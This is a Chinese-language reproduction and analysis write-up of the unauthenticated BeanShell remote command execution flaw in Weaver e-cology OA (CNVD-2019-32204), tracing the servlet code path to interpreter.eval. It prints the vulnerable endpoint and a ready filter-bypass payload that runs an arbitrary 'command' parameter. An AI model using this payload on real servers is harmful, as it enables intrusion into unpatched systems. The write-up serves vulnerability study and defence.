漏洞复现

影响版本:
E-cology 7.0
E-cology 8.0
E-cology 8.1
E-cology 9.0
 
直接在网站根目录后加入组件访问路径 /weaver/bsh.servlet.BshServlet/,如下图执行了命令“whoami”

绕过方式:

1.unicode编码

2.字符串拼接

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
 

漏洞分析

漏洞出现在e-cology的组件beanshell上,由于beanshell这个接口可被未授权访问,同时这个接口在接受用户请求时未进行相应过滤,最终导致远程命令执行
那beanshell是什么呢?
简单说,就是一个微型的java解释器,可嵌入到其他程序中,用于动态的执行java代码,类似于csharp中的动态编译特性,我们通过一个例子来了解beanshell,如下图:
  • 实例化Interpreter类
  • eval()函数用于动态的执行java代码
除了eval函数,还有其他函数可以动态执行字符串
使用jadx反编译jar包,由于访问的组件路径为/weaver/bsh.servlet.BshServlet/,所以我们先查看一下类bsh.servlet.BshServlet,如下图
网站是post提交数据,所以我们查看doPost函数,发现只是执行了doGet函数:
跟踪doGet:
httpServletRequest.getParameter("bsh.script");参数为传入的值,赋值给了parameter
跟踪parameter,传入了evalScript函数:
跟踪evalScript函数:
直接调用interpreter.eval进行了代码执行
interpreter是Interpreter实例化的类

文中用到的工具

bsh-2.0b4.jar
链接:https://pan.baidu.com/s/1U3bYIgNlSgrfkhWovfx3CQ
 
jadx-gui-1.0.0.exe
链接:https://pan.baidu.com/s/1KVjwo7dIB4kS8LXwUI4zkA
获取提取码关注公众号底下菜单点击提取码
 
参考:https://xz.aliyun.com/t/6560
欢迎关注我的公众号啦!
 

泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析的更多相关文章

  1. 泛微 e-cology OA 远程代码执行漏洞复现

    0x00 前言 Poc已在github公开,由于环境搭建较为复杂,所以我在空间搜索引擎中找了国外的网站进行复现 如果有想自行搭建环境复现的可以在公众号内回复“泛微环境”即可获取源码及搭建方式 0x01 ...

  2. 泛微e-cology OA Beanshell组件远程代码执行漏洞复现CNNVD-201909-1041

    靶机 影响版本 泛微e-cology<=9.0 https://github.com/jas502n/e-cology 部署 复现 /weaver/bsh.servlet.BshServlet ...

  3. 泛微OA 多版本存在命令执行

    参考 https://blog.csdn.net/qq_41770175/article/details/102821349 https://www.linktrust.net/oday/471.ht ...

  4. 泛微e-cology OA系统远程代码执行漏洞及其复现

    泛微e-cology OA系统远程代码执行漏洞及其复现 2019年9月19日,泛微e-cology OA系统自带BeanShell组件被爆出存在远程代码执行漏洞.攻击者通过调用BeanShell组件中 ...

  5. 应用安全 - 软件漏洞 - 泛微OA漏洞汇总

    SQL注入 前台SQL注入 用户名:admin' or password like 'c4ca4238a0b923820dcc509a6f75849b' and 'a'='a 密码: 1 验证页面参数 ...

  6. 帆软的报表系统与泛微OA结合起来,这两个软件麦枫提供了经典的服务。

    一.集成配景泛微OA对企业的代价 泛微协同办公计划能向你供给一个协同的.集成的办公情况,使所有的办公职员都在统一且个性化的信息流派中一路事情, 解脱光阴和地区的限定,实现协同事情与知识治理. Eoco ...

  7. 泛微oa几个常用的js

    泛微OA,常用JS 为满足一些简单需求,我从网上借鉴了大量的代码,其中几个是非常好用的. (1).取值判断 通过jQuery('#field1234').val()取字段的值,field1234对应字 ...

  8. FineReport和泛微OA(Ecology)的单点登录集成方案

    最近出现了很多关于帆软报表和泛微OA的集成问题,均出现在“单点登录”上.直接也有相关的文章介绍一些FineReport和泛微集成的背景.价值等,以及FineReport和OA的深度集成的方案,但是并没 ...

  9. 泛微OA系统多版本存在命令执行漏洞

    0x01漏洞描述 泛微OA办公系统是一款协调办公软件. 泛微协同商务软件系统存在命令执行漏洞,攻击者可利用该漏洞获取服务器权限. 0x02漏洞危害 攻击者可以通过精心构造的请求包在受影响版本的泛微OA ...

随机推荐

  1. Python实现猜数字游戏

    Python中实现猜数字游戏代码如下: import random # 引入随机数标准库-random # 定义数字上下限和最大游戏次数 min_num = 1 max_num = 10 guess_ ...

  2. Commons-Beanutils利用链分析

    前言 本篇开始介绍 commons-beanutils 利用链,注意Commons-Beanutils 不是Commons-Collections 不要看混了,首先来看一下,什么是 commons-b ...

  3. Java面向对象01——什么是面向对象

    面向过程&面向对象 面向过程思想(微观): 步骤清晰简单,第一步做什么,第二部做什么....... 面向过程适合处理一些较为简单的问题 面向对象思想(宏观): 物以类聚,分类的思维模式,思考问 ...

  4. Python从零开始编写控制程序(一)

    Python之从零开始编写控制程序(一) 在此声明:本博客仅供学习参考,任何产生相关违法犯罪行为与本人无关. 另外如果有师傅有好的思路和想法,可以和我一起沟通交流. 最近在一直尝试做Powershel ...

  5. C语言运算符(关系运算符)+(逻辑运算符)

    下表显示了 C 语言支持的所有关系运算符.假设变量 A 的值为 10,变量 B 的值为 20,则: 实列: 1 #include <stdio.h> 2 3 int main() 4 { ...

  6. 智能合约审计-不安全的delegatecall

    简介 当合约A以delegatecall方式调用时, 相当于将外部合约B的func()代码复制过来 (其函数中涉及的变量或函数都需要在本地存在), 在合约A上下文空间中执行. 合约 pragma so ...

  7. python自动化之(自动生成测试报告)

    前言:  用python执行测试脚本, 测试报告是记录我们测试过程的问题, 方便我们对整个测试过程的把控. 这里引用的是别人写好的模板, 我们拿过来用就OK, 能力强者可自行编写模板 测试报告图模板: ...

  8. Python语言系列-10-数据库

    MySQL 基础环境准备 readme.txt 作者:Alnk(李成果) 版本:v1.0 安装mysql数据库 略 创建student库 # mysql> create database stu ...

  9. 008 PHY(Physical Layer,PHY)

    一.PHY PHY((Physical Layer,PHY))是IEEE802.3中定义的一个标准模块,STA(station management entity,管理实体,一般为MAC或CPU)通过 ...

  10. xv6学习笔记(4) : 进程调度

    xv6学习笔记(4) : 进程 xv6所有程序都是单进程.单线程程序.要明白这个概念才好继续往下看 1. XV6中进程相关的数据结构 在XV6中,与进程有关的数据结构如下 // Per-process ...